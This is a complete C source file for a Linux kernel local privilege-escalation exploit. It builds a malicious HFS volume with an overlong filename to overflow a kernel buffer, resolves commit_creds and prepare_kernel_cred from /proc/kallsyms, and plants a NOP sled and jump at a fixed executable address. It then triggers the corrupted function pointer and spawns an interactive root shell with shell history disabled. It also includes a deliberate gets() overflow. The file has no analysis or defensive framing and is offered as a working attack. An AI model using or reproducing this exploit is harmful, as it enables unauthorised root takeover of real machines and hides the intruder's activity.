#define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include // Spender's kernel sym code unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[512]; struct utsname ver; int ret; int rep = 0; int oldstyle = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) goto fallback; oldstyle = 1; } repeat: ret = 0; while(ret != EOF) { if (!oldstyle) ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); else { ret = fscanf(f, "%p %s\n", (void **)&addr, sname); if (ret == 2) { char *p; if (strstr(sname, "_O/") || strstr(sname, "_S.")) continue; p = strrchr(sname, '_'); if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { p = p - 4; while (p > (char *)sname && *(p - 1) == '_') p--; *p = '\0'; } } } if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fprintf(stdout, "[+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : ""); fclose(f); return addr; } } fclose(f); if (rep) return 0; fallback: uname(&ver); if (strncmp(ver.release, "2.6", 3)) oldstyle = 1; sprintf(sname, "/boot/System.map-%s", ver.release); f = fopen(sname, "r"); if (f == NULL) return 0; rep = 1; goto repeat; } typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; volatile int got_root = 0; void root() { commit_creds(prepare_kernel_cred(0)); got_root = 1; } void build_volume() { if (getuid()) { printf("[-] You must be root to build the malicious volume. Do this on another computer you control.\n"); exit(-1); } printf("[+] Building malicious HFS volume at /tmp/evilhfs.\n"); system("dd if=/dev/zero of=/tmp/evilhfs count=2048"); system("mkfs.hfs -h /tmp/evilhfs"); system("mkdir -v /tmp/evilhfsmount"); system("mount -v -t hfs /tmp/evilhfs /tmp/evilhfsmount"); system("touch /tmp/evilhfsmount/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); system("umount -v /tmp/evilhfsmount"); system("rmdir -v /tmp/evilhfsmount"); printf("[+] Modifying volume.\n"); FILE *hfs = fopen("/tmp/evilhfs", "r+"); if (!hfs) { perror("fopen"); exit(-1); } fseek(hfs, 0x2AA0, SEEK_SET); fputc(0xFF, hfs); // Make the length 255 fseek(hfs, 0x2B00, SEEK_SET); for (int i = 0; i < 128; ++i) fputc('A', hfs); // Write an A, which is 0x41 fclose(hfs); } void main(int argc, char *argv[]) { if (argc == 2 && strcmp(argv[1], "-b") == 0) { build_volume(); return; } printf("[+] Resolving kernel symbols.\n"); commit_creds = (_commit_creds) get_kernel_sym("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred"); if (!commit_creds || !prepare_kernel_cred) { printf("[-] Failed to resolve kernel symbols.\n"); exit(-1); } printf("[+] Mmaping ascii page.\n"); void *location = mmap((void*)0x40404000, sysconf(_SC_PAGE_SIZE), PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_SHARED, -1, 0); if ((long)location < 0) { perror("[-] mmap"); exit(-1); } printf("[+] Adding jmp to pwnage at 0x40404040.\n"); for (unsigned long i = 0x40404000; i <= 0x40404040; ++i) *(char*)i = 0x90; // nop *(char*)0x40404041 = 0xe9; // jmp *(unsigned long*)0x40404042 = (unsigned long)&root; printf("[+] Enter the mount point of the malicious HFS volume: "); char mountpoint[256]; // For good measure, I'm including a stack overflow inside of a stack overflow exploit. Have fun kids. gets(mountpoint); printf("[+] Reading directory to trigger overflow.\n"); DIR *dir = opendir(mountpoint); if (!dir) { perror("opendir"); exit(-1); } while(readdir(dir)); printf("[+] Triggering clobbered function pointer.\n"); syscall(__NR_restart_syscall); if (!got_root) { printf("[-] Failed to get root.\n"); exit(-1); } setuid(0); setgid(0); setenv("HISTFILE", "/dev/null", 1); execl("/bin/sh", "sh", "-i", NULL); }